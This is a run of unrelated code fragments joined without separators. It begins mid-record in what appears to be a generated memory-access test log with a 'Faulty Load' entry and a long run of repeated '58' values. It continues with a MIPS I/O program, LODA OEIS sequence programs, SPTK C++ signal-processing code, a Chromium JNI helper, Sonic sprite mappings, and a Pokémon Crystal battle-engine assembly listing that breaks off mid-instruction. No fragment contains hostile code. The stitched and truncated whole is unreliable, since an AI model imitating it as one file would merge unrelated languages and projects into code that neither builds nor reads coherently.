'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': True, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_US', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'dst': {'type': 'addresses_PSE', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 8, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_A', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': True}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': True, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 16, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 1, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'58': 1426} 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
.data msg1:.asciiz "The number read is:\n" msg2:.asciiz "\nThe string read is:\n" msg3:.asciiz "Please enter the number to be read:\n" msg4:.asciiz "Please enter the string to be read:\n" .text .globl main main: li $v0, 4 #to disp msg3 la $a0, msg3 syscall li $v0 ,5 #to read number syscall move $t0, $v0 li $v0, 4 #to display msg4 la $a0, msg4 syscall li $v0 ,8 #to read string move $t1, $v0 syscall li $v0, 4 #to display msg1 la $a0, msg1 syscall li $v0, 1 #to display integer read move $a0,$t0 syscall li $v0, 4 #to display msg2 la $a0, msg2 syscall #to display string read move $a0, $t1 li $v0,4 syscall li $v0, 10 syscall
; A092263: a(1)=1, a(n+1)=ceiling(phi*a(n))+1 if a(n) is odd, a(n+1)=ceiling(phi*a(n)) if a(n) is even, where phi=(1+sqrt(5))/2. ; 1,3,6,10,17,29,48,78,127,207,336,544,881,1427,2310,3738,6049,9789,15840,25630,41471,67103,108576,175680,284257,459939,744198,1204138,1948337,3152477,5100816,8253294,13354111,21607407,34961520,56568928 mov $8,$0 mov $10,$0 add $10,1 lpb $10 clr $0,8 mov $0,$8 sub $10,1 sub $0,$10 mov $5,$0 mov $7,$0 add $7,1 lpb $7 clr $0,5 mov $0,$5 sub $7,1 sub $0,$7 add $4,32 cal $0,$4 mov $1,$0 div $1,5 mul $1,2 add $1,1 add $6,$1 lpe add $9,$6 lpe mov $1,$9
// ------------------------------------------------------------------------ // // Copyright 2021 SPTK Working Group // // // // Licensed under the Apache License, Version 2.0 (the "License"); // // you may not use this file except in compliance with the License. // // You may obtain a copy of the License at // // // // http://www.apache.org/licenses/LICENSE-2.0 // // // // Unless required by applicable law or agreed to in writing, software // // distributed under the License is distributed on an "AS IS" BASIS, // // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // // See the License for the specific language governing permissions and // // limitations under the License. // // ------------------------------------------------------------------------ // #include "SPTK/math/reverse_levinson_durbin_recursion.h" #include <cstddef> // std::size_t namespace sptk { ReverseLevinsonDurbinRecursion::ReverseLevinsonDurbinRecursion(int num_order) : num_order_(num_order), is_valid_(true) { if (num_order_ < 0) { is_valid_ = false; return; } } bool ReverseLevinsonDurbinRecursion::Run( const std::vector<double>& linear_predictive_coefficients, std::vector<double>* autocorrelation, ReverseLevinsonDurbinRecursion::Buffer* buffer) const { // Check inputs. const int length(num_order_ + 1); if (!is_valid_ || linear_predictive_coefficients.size() != static_cast<std::size_t>(length) || NULL == autocorrelation || NULL == buffer) { return false; } // Prepare memories. if (autocorrelation->size() != static_cast<std::size_t>(length)) { autocorrelation->resize(length); } if (buffer->u_.GetNumDimension() != length) { buffer->u_.Resize(length); } if (buffer->e_.size() != static_cast<std::size_t>(length)) { buffer->e_.resize(length); } const double* a(&(linear_predictive_coefficients[0])); double* r(&((*autocorrelation)[0])); double* e(&(buffer->e_[0])); for (int j(0); j <= num_order_; ++j) { buffer->u_[j][j] = 1.0; } for (int j(0); j < num_order_; ++j) { buffer->u_[num_order_][j] = a[num_order_ - j]; } e[num_order_] = a[0] * a[0]; for (int i(num_order_ - 1); 0 <= i; --i) { double* u(&(buffer->u_[i + 1][0])); const double t(1.0 / (1.0 - u[0] * u[0])); for (int j(0); j < i; ++j) { buffer->u_[i][j] = (u[j + 1] - u[0] * u[i - j]) * t; } e[i] = e[i + 1] * t; } r[0] = e[0]; for (int i(1); i <= num_order_; ++i) { double sum(0.0); for (int j(1); j < i; ++j) { sum += buffer->u_[i - 1][i - j - 1] * r[i - j]; } r[i] = -(sum + buffer->u_[i][0] * e[i - 1]); } return true; } bool ReverseLevinsonDurbinRecursion::Run( std::vector<double>* input_and_output, ReverseLevinsonDurbinRecursion::Buffer* buffer) const { if (NULL == input_and_output) return false; return Run(*input_and_output, input_and_output, buffer); } } // namespace sptk
// Copyright 2016 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <stdint.h> #include "base/base_jni_headers/TimeUtils_jni.h" #include "base/time/time.h" namespace base { namespace android { static jlong JNI_TimeUtils_GetTimeTicksNowUs(JNIEnv* env) { return (TimeTicks::Now() - TimeTicks()).InMicroseconds(); } } // namespace android } // namespace base
global test_case extern sys.exit section .text test_case: call sys.exit
dc.w word_1E762-Map_Explosion dc.w word_1E76A-Map_Explosion dc.w word_1E772-Map_Explosion dc.w word_1E77A-Map_Explosion dc.w word_1E782-Map_Explosion word_1E762: dc.w 1 ; DATA XREF: ROM:0001E758o dc.b $F8, 5, 0, 0, $FF, $F8 word_1E76A: dc.w 1 ; DATA XREF: ROM:0001E758o dc.b $F0, $F, 0, 4, $FF, $F0 word_1E772: dc.w 1 ; DATA XREF: ROM:0001E758o dc.b $F0, $F, 0, $14, $FF, $F0 word_1E77A: dc.w 1 ; DATA XREF: ROM:0001E758o dc.b $F0, $F, 0, $24, $FF, $F0 word_1E782: dc.w 1 ; DATA XREF: ROM:0001E758o dc.b $F0, $F, 0, $34, $FF, $F0
; A276283: Expansion of (1 + x + 3*x^2 + x^3)/((1 - x)^2*(1 + x^2)). ; 1,3,7,11,13,15,19,23,25,27,31,35,37,39,43,47,49,51,55,59,61,63,67,71,73,75,79,83,85,87,91,95,97,99,103,107,109,111,115,119,121,123,127,131,133,135,139,143,145,147,151,155,157,159,163,167,169,171,175,179,181,183,187,191,193,195,199,203,205,207,211,215,217,219,223,227,229,231,235,239,241,243,247,251,253,255,259,263,265,267,271,275,277,279,283,287,289,291,295,299,301,303,307,311,313,315,319,323,325,327,331,335,337,339,343,347,349,351,355,359,361,363,367,371,373,375,379,383,385,387,391,395,397,399,403,407,409,411,415,419,421,423,427,431,433,435,439,443,445,447,451,455,457,459,463,467,469,471,475,479,481,483,487,491,493,495,499,503,505,507,511,515,517,519,523,527,529,531,535,539,541,543,547,551,553,555,559,563,565,567,571,575,577,579,583,587,589,591,595,599,601,603,607,611,613,615,619,623,625,627,631,635,637,639,643,647,649,651,655,659,661,663,667,671,673,675,679,683,685,687,691,695,697,699,703,707,709,711,715,719,721,723,727,731,733,735,739,743,745,747 mov $1,$0 mod $0,4 mul $1,6 add $1,$0 div $1,4 mul $1,2 add $1,1
; Core components of the battle engine. DoBattle: xor a ld [wBattleParticipantsNotFainted], a ld [wBattleParticipantsIncludingFainted], a ld [wBattlePlayerAction], a ld [wBattleEnded], a inc a ld [wBattleHasJustStarted], a ld hl, wOTPartyMon1HP ld bc, PARTYMON_STRUCT_LENGTH - 1 ld d, BATTLEACTION_SWITCH1 - 1 .loop inc d ld a, [hli] or [hl] jr nz, .alive add hl, bc jr .loop .alive ld a, d ld [wBattleAction], a ld a, [wLinkMode] and a jr z, .not_linked ldh a, [hSerialConnectionStatus] cp USING_INTERNAL_CLOCK jr z, .player_2 .not_linked ld a, [wBattleMode] dec a jr z, .wild xor a ld [wEnemySwitchMonIndex], a call NewEnemyMonStatus call ResetEnemyStatLevels call BreakAttraction call EnemySwitch .wild ld c, 40 call DelayFrames .player_2 call LoadTileMapToTempTileMap call CheckPlayerPartyForFitMon ld a, d and a jp z, LostBattle call Call_LoadTempTileMapToTileMap ld a, [wBattleType] cp BATTLETYPE_DEBUG jp z, .tutorial_debug cp BATTLETYPE_TUTORIAL jp z, .tutorial_debug xor a ld [wCurPartyMon], a .loop2 call CheckIfCurPartyMonIsFitToFight jr nz, .alive2 ld hl, wCurPartyMon inc [hl] jr .loop2 .alive2 ld a, [wCurBattleMon] ld [wLastPlayerMon], a ld a, [wCurPartyMon] ld [wCurBattleMon], a inc a ld hl, wPartySpecies - 1 ld c, a ld b, 0 add hl, bc ld a, [hl] ld [wCurPartySpecies], a ld [wTempBattleMonSpecies], a hlcoord 1, 5 ld a, 9 call SlideBattlePicOut call LoadTileMapToTempTileMap call ResetBattleParticipants call InitBattleMon call ResetPlayerStatLevels call SendOutMonText call NewBattleMonStatus call BreakAttraction call SendOutPlayerMon call EmptyBattleTextbox call LoadTileMapToTempTileMap call SetPlayerTurn call SpikesDamage ld a, [wLinkMode] and a jr z, .not_linked_2 ldh a, [hSerialConnectionStatus] cp USING_INTERNAL_CLOCK jr nz, .not_linked_2 xor a ld [wEnemySwitchMonIndex], a call NewEnemyMonStatus call ResetEnemyStatLevels call BreakAttraction call EnemySwitch call SetEnemyTurn call SpikesDamage .not_linked_2 jp BattleTurn .tutorial_debug jp BattleMenu WildFled_EnemyFled_LinkBattleCanceled: call Call_LoadTempTileMapToTileMap ld a, [wBattleResult] and BATTLERESULT_BITMASK add DRAW ld [wBattleResult], a ld a, [wLinkMode] and a ld hl, BattleText_WildFled jr z, .print_text ld a, [wBattleResult] and BATTLERESULT_BITMASK ld [wBattleResult], a ; WIN ld hl, BattleText_EnemyFled call CheckMobileBattleError jr nc, .print_text ld hl, wcd2a bit 4, [hl] jr nz, .skip_text ld hl, BattleText_LinkErrorBattleCanceled .print_text call StdBattleTextbox .skip_text call StopDangerSound call CheckMobileBattleError jr c, .skip_sfx ld de, SFX_RUN call PlaySFX .skip_sfx call SetPlayerTurn ld a, 1 ld [wBattleEnded], a ret BattleTurn: .loop call Stubbed_Function3c1bf call CheckContestBattleOver jp c, .quit xor a ld [wPlayerIsSwitching], a ld [wEnemyIsSwitching], a ld [wBattleHasJustStarted], a ld [wPlayerJustGotFrozen], a ld [wEnemyJustGotFrozen], a ld [wCurDamage], a ld [wCurDamage + 1], a call HandleBerserkGene call UpdateBattleMonInParty farcall AIChooseMove call IsMobileBattle jr nz, .not_disconnected farcall Function100da5 farcall StartMobileInactivityTimer farcall Function100dd8 jp c, .quit .not_disconnected call CheckPlayerLockedIn jr c, .skip_iteration .loop1 call BattleMenu jr c, .quit ld a, [wBattleEnded] and a jr nz, .quit ld a, [wForcedSwitch] ; roared/whirlwinded/teleported and a jr nz, .quit .skip_iteration call ParsePlayerAction jr nz, .loop1 call EnemyTriesToFlee jr c, .quit call DetermineMoveOrder jr c, .false call Battle_EnemyFirst jr .proceed .false call Battle_PlayerFirst .proceed call CheckMobileBattleError jr c, .quit ld a, [wForcedSwitch] and a jr nz, .quit ld a, [wBattleEnded] and a jr nz, .quit call HandleBetweenTurnEffects ld a, [wBattleEnded] and a jr nz, .quit jp .loop .quit ret Stubbed_Function3c1bf: ret ld a, 5 ; MBC30 bank used by JP Crystal; inaccessible by MBC3 call GetSRAMBank ld hl, $a89b ; address of MBC30 bank inc [hl] jr nz, .finish dec hl inc [hl] jr nz, .finish dec [hl] inc hl dec [hl] .finish call CloseSRAM ret HandleBetweenTurnEffects: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .CheckEnemyFirst call CheckFaint_PlayerThenEnemy ret c call HandleFutureSight call CheckFaint_PlayerThenEnemy ret c call HandleWeather call CheckFaint_PlayerThenEnemy ret c call HandleWrap call CheckFaint_PlayerThenEnemy ret c call HandlePerishSong call CheckFaint_PlayerThenEnemy ret c jr .NoMoreFaintingConditions .CheckEnemyFirst: call CheckFaint_EnemyThenPlayer ret c call HandleFutureSight call CheckFaint_EnemyThenPlayer ret c call HandleWeather call CheckFaint_EnemyThenPlayer ret c call HandleWrap call CheckFaint_EnemyThenPlayer ret c call HandlePerishSong call CheckFaint_EnemyThenPlayer ret c .NoMoreFaintingConditions: call HandleLeftovers call HandleMysteryberry call HandleDefrost call HandleSafeguard call HandleScreens call HandleStatBoostingHeldItems call HandleHealingItems call UpdateBattleMonInParty call LoadTileMapToTempTileMap jp HandleEncore CheckFaint_PlayerThenEnemy: call HasPlayerFainted jr nz, .PlayerNotFainted call HandlePlayerMonFaint ld a, [wBattleEnded] and a jr nz, .BattleIsOver .PlayerNotFainted: call HasEnemyFainted jr nz, .BattleContinues call HandleEnemyMonFaint ld a, [wBattleEnded] and a jr nz, .BattleIsOver .BattleContinues: and a ret .BattleIsOver: scf ret CheckFaint_EnemyThenPlayer: call HasEnemyFainted jr nz, .EnemyNotFainted call HandleEnemyMonFaint ld a, [wBattleEnded] and a jr nz, .BattleIsOver .EnemyNotFainted: call HasPlayerFainted jr nz, .BattleContinues call HandlePlayerMonFaint ld a, [wBattleEnded] and a jr nz, .BattleIsOver .BattleContinues: and a ret .BattleIsOver: scf ret HandleBerserkGene: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .reverse call .player jr .enemy .reverse call .enemy ; fallthrough .player call SetPlayerTurn ld de, wPartyMon1Item ld a, [wCurBattleMon] ld b, a jr .go .enemy call SetEnemyTurn ld de, wOTPartyMon1Item ld a, [wCurOTMon] ld b, a ; fallthrough .go push de push bc callfar GetUserItem ld a, [hl] ld [wNamedObjectIndexBuffer], a sub BERSERK_GENE pop bc pop de ret nz ld [hl], a ld h, d ld l, e ld a, b call GetPartyLocation xor a ld [hl], a ld a, BATTLE_VARS_SUBSTATUS3 call GetBattleVarAddr push af set SUBSTATUS_CONFUSED, [hl] ld a, BATTLE_VARS_MOVE_ANIM call GetBattleVarAddr push hl push af xor a ld [hl], a ld [wAttackMissed], a ld [wEffectFailed], a farcall BattleCommand_AttackUp2 pop af pop hl ld [hl], a call GetItemName ld hl, BattleText_UsersStringBuffer1Activated call StdBattleTextbox callfar BattleCommand_StatUpMessage pop af bit SUBSTATUS_CONFUSED, a ret nz xor a ld [wNumHits], a ld de, ANIM_CONFUSED call Call_PlayBattleAnim_OnlyIfVisible call SwitchTurnCore ld hl, BecameConfusedText jp StdBattleTextbox EnemyTriesToFlee: ld a, [wLinkMode] and a jr z, .not_linked ld a, [wBattleAction] cp BATTLEACTION_FORFEIT jr z, .forfeit .not_linked and a ret .forfeit call WildFled_EnemyFled_LinkBattleCanceled scf ret DetermineMoveOrder: ld a, [wLinkMode] and a jr z, .use_move ld a, [wBattleAction] cp BATTLEACTION_STRUGGLE jr z, .use_move cp BATTLEACTION_SKIPTURN jr z, .use_move sub BATTLEACTION_SWITCH1 jr c, .use_move ld a, [wBattlePlayerAction] cp BATTLEPLAYERACTION_SWITCH jr nz, .switch ldh a, [hSerialConnectionStatus] cp USING_INTERNAL_CLOCK jr z, .player_2 call BattleRandom cp 50 percent + 1 jp c, .player_first jp .enemy_first .player_2 call BattleRandom cp 50 percent + 1 jp c, .enemy_first jp .player_first .switch callfar AI_Switch call SetEnemyTurn call SpikesDamage jp .enemy_first .use_move ld a, [wBattlePlayerAction] and a ; BATTLEPLAYERACTION_USEMOVE? jp nz, .player_first call CompareMovePriority jr z, .equal_priority jp c, .player_first ; player goes first jp .enemy_first .equal_priority call SetPlayerTurn callfar GetUserItem push bc callfar GetOpponentItem pop de ld a, d cp HELD_QUICK_CLAW jr nz, .player_no_quick_claw ld a, b cp HELD_QUICK_CLAW jr z, .both_have_quick_claw call BattleRandom cp e jr nc, .speed_check jp .player_first .player_no_quick_claw ld a, b cp HELD_QUICK_CLAW jr nz, .speed_check call BattleRandom cp c jr nc, .speed_check jp .enemy_first .both_have_quick_claw ldh a, [hSerialConnectionStatus] cp USING_INTERNAL_CLOCK jr z, .player_2b call BattleRandom cp c jp c, .enemy_first call BattleRandom cp e jp c, .player_first jr .speed_check .player_2b call BattleRandom cp e jp c, .player_first call BattleRandom cp c jp c, .enemy_first jr .speed_check .speed_check ld de, wBattleMonSpeed ld hl, wEnemyMonSpeed ld c, 2 call CompareBytes jr z, .speed_tie jp nc, .player_first jp .enemy_first .speed_tie ldh a, [hSerialConnectionStatus] cp USING_INTERNAL_CLOCK jr z, .player_2c call BattleRandom cp 50 percent + 1 jp c, .player_first jp .enemy_first .player_2c call BattleRandom cp 50 percent + 1 jp c, .enemy_first .player_first scf ret .enemy_first and a ret CheckContestBattleOver: ld a, [wBattleType] cp BATTLETYPE_CONTEST jr nz, .contest_not_over ld a, [wParkBallsRemaining] and a jr nz, .contest_not_over ld a, [wBattleResult] and BATTLERESULT_BITMASK add DRAW ld [wBattleResult], a scf ret .contest_not_over and a ret CheckPlayerLockedIn: ld a, [wPlayerSubStatus4] and 1 << SUBSTATUS_RECHARGE jp nz, .quit ld hl, wEnemySubStatus3 res SUBSTATUS_FLINCHED, [hl] ld hl, wPlayerSubStatus3 res SUBSTATUS_FLINCHED, [hl] ld a, [hl] and 1 << SUBSTATUS_CHARGED | 1 << SUBSTATUS_RAMPAGE jp nz, .quit ld hl, wPlayerSubStatus1 bit SUBSTATUS_ROLLOUT, [hl] jp nz, .quit and a ret .quit scf ret ParsePlayerAction: call CheckPlayerLockedIn jp c, .locked_in ld hl, wPlayerSubStatus5 bit SUBSTATUS_ENCORED, [hl] jr z, .not_encored ld a, [wLastPlayerMove] ld [wCurPlayerMove], a jr .encored .not_encored ld a, [wBattlePlayerAction] cp BATTLEPLAYERACTION_SWITCH jr z, .reset_rage and a jr nz, .reset_bide ld a, [wPlayerSubStatus3] and 1 << SUBSTATUS_BIDE jr nz, .locked_in xor a ld [wMoveSelectionMenuType], a inc a ; POUND ld [wFXAnimID], a call MoveSelectionScreen push af call Call_LoadTempTileMapToTileMap call UpdateBattleHuds ld a, [wCurPlayerMove] cp STRUGGLE jr z, .struggle call PlayClickSFX .struggle ld a, $1 ldh [hBGMapMode], a pop af ret nz .encored call SetPlayerTurn callfar UpdateMoveData xor a ld [wPlayerCharging], a ld a, [wPlayerMoveStruct + MOVE_EFFECT] cp EFFECT_FURY_CUTTER jr z, .continue_fury_cutter xor a ld [wPlayerFuryCutterCount], a .continue_fury_cutter ld a, [wPlayerMoveStruct + MOVE_EFFECT] cp EFFECT_RAGE jr z, .continue_rage ld hl, wPlayerSubStatus4 res SUBSTATUS_RAGE, [hl] xor a ld [wPlayerRageCounter], a .continue_rage ld a, [wPlayerMoveStruct + MOVE_EFFECT] cp EFFECT_PROTECT jr z, .continue_protect cp EFFECT_ENDURE jr z, .continue_protect xor a ld [wPlayerProtectCount], a jr .continue_protect .reset_bide ld hl, wPlayerSubStatus3 res SUBSTATUS_BIDE, [hl] .locked_in xor a ld [wPlayerFuryCutterCount], a ld [wPlayerProtectCount], a ld [wPlayerRageCounter], a ld hl, wPlayerSubStatus4 res SUBSTATUS_RAGE, [hl] .continue_protect call ParseEnemyAction xor a ret .reset_rage xor a ld [wPlayerFuryCutterCount], a ld [wPlayerProtectCount], a ld [wPlayerRageCounter], a ld hl, wPlayerSubStatus4 res SUBSTATUS_RAGE, [hl] xor a ret HandleEncore: ldh a, [hSerialConnectionStatus] cp USING_EXTERNAL_CLOCK jr z, .player_1 call .do_player jr .do_enemy .player_1 call .do_enemy .do_player ld hl, wPlayerSubStatus5 bit SUBSTATUS_ENCORED, [hl] ret z ld a, [wPlayerEncoreCount] dec a ld [wPlayerEncoreCount], a jr z, .end_player_encore ld hl, wBattleMonPP ld a, [wCurMoveNum] ld c, a ld b, 0 add hl, bc ld a, [hl] and PP_MASK ret nz .end_player_encore ld hl, wPlayerSubStatus5 res SUBSTATUS_ENCORED, [hl] call SetEnemyTurn ld hl, BattleText_TargetsEncoreEnded jp StdBattleTextbox .do_enemy ld hl, wEnemySubStatus5 bit SUBSTATUS_ENCORED, [hl] ret z ld a, [wEnemyEncoreCount] dec a ld [wEnemyEncoreCount], a jr z, .end_enemy_encore ld hl, wEnemyMonPP ld a, [wCurEnemyMoveNum] ld c, a ld b, 0 add hl, bc ld a, [hl] and PP_MASK ret nz .end_enemy_encore ld hl, wEnemySubStatus5 res SUBSTATUS_ENCORED, [hl] call SetPlayerTurn ld hl, BattleText_TargetsEncoreEnded jp StdBattleTextbox TryEnemyFlee: ld a, [wBattleMode] dec a jr nz, .Stay ld a, [wPlayerSubStatus5] bit SUBSTATUS_CANT_RUN, a jr nz, .Stay ld a, [wEnemyWrapCount] and a jr nz, .Stay ld a, [wEnemyMonStatus] and 1 << FRZ | SLP jr nz, .Stay ld a, [wTempEnemyMonSpecies] ld de, 1 ld hl, AlwaysFleeMons call IsInArray jr c, .Flee call BattleRandom ld b, a cp 50 percent + 1 jr nc, .Stay push bc ld a, [wTempEnemyMonSpecies] ld de, 1 ld hl, OftenFleeMons call IsInArray pop bc jr c, .Flee ld a, b cp 10 percent + 1 jr nc, .Stay ld a, [wTempEnemyMonSpecies] ld de, 1 ld hl, SometimesFleeMons call IsInArray jr c, .Flee .Stay: and a ret .Flee: scf ret INCLUDE "data/wild/flee_mons.asm" CompareMovePriority: ; Compare the priority of the player and enemy's moves. ; Return carry if the player goes first, or z if they match. ld a, [wCurPlayerMove] call GetMovePriority ld b, a push bc ld a, [wCurEnemyMove] call GetMovePriority pop bc cp b ret GetMovePriority: ; Return the priority (0-3) of move a. ld b, a ; Vital Throw goes last. cp VITAL_THROW ld a, 0 ret z call GetMoveEffect ld hl, MoveEffectPriorities .loop ld a, [hli] cp b jr z, .done inc hl cp -1 jr nz, .loop ld a, BASE_PRIORITY ret .done ld a, [hl] ret INCLUDE "data/moves/effects_priorities.asm" GetMoveEffect: ld a, b dec a ld hl, Moves + MOVE_EFFECT ld bc, MOVE_LENGTH call AddNTimes ld a, BANK(Moves) call GetFarByte ld b, a ret Battle_EnemyFirst: call LoadTileMapToTempTileMap call TryEnemyFlee jp c, WildFled_EnemyFled_LinkBattleCanceled call SetEnemyTurn ld a, $1 ld [wEnemyGoesFirst], a callfar AI_SwitchOrTryItem jr c, .switch_item call EnemyTurn_EndOpponentProtectEndureDestinyBond call CheckMobileBattleError ret c ld a, [wForcedSwitch] and a ret nz call HasPlayerFainted jp z, HandlePlayerMonFaint call HasEnemyFainted jp z, HandleEnemyMonFaint .switch_item call SetEnemyTurn call ResidualDamage jp z, HandleEnemyMonFaint call RefreshBattleHuds call PlayerTurn_EndOpponentProtectEndureDestinyBond call CheckMobileBattleError ret c ld a, [wForcedSwitch] and a ret nz call HasEnemyFainted jp z, HandleEnemyMonFaint call HasPlayerFainted jp z, HandlePlayerMonFaint call SetPlayerTurn call ResidualDamage jp z, HandlePlayerMonFaint call RefreshBattleHuds xor a ; BATTLEPLAYERACTION_USEMOVE ld [wBattlePlayerAction], a ret Battle_PlayerFirst: xor a ld [wEnemyGoesFirst], a call SetEnemyTurn callfar AI_SwitchOrTryItem push af call PlayerTurn_EndOpponentProtectEndureDestinyBond pop bc ld a, [wForcedSwitch] and a ret nz call CheckMobileBattleError ret c call HasEnemyFainted jp z, HandleEnemyMonFaint call HasPlayerFainted jp z, HandlePlayerMonFaint push bc call SetPlayerTurn call ResidualDamage pop bc jp z, HandlePlayerMonFaint push bc call RefreshBattleHuds pop af jr c, .switched_or_used_item call 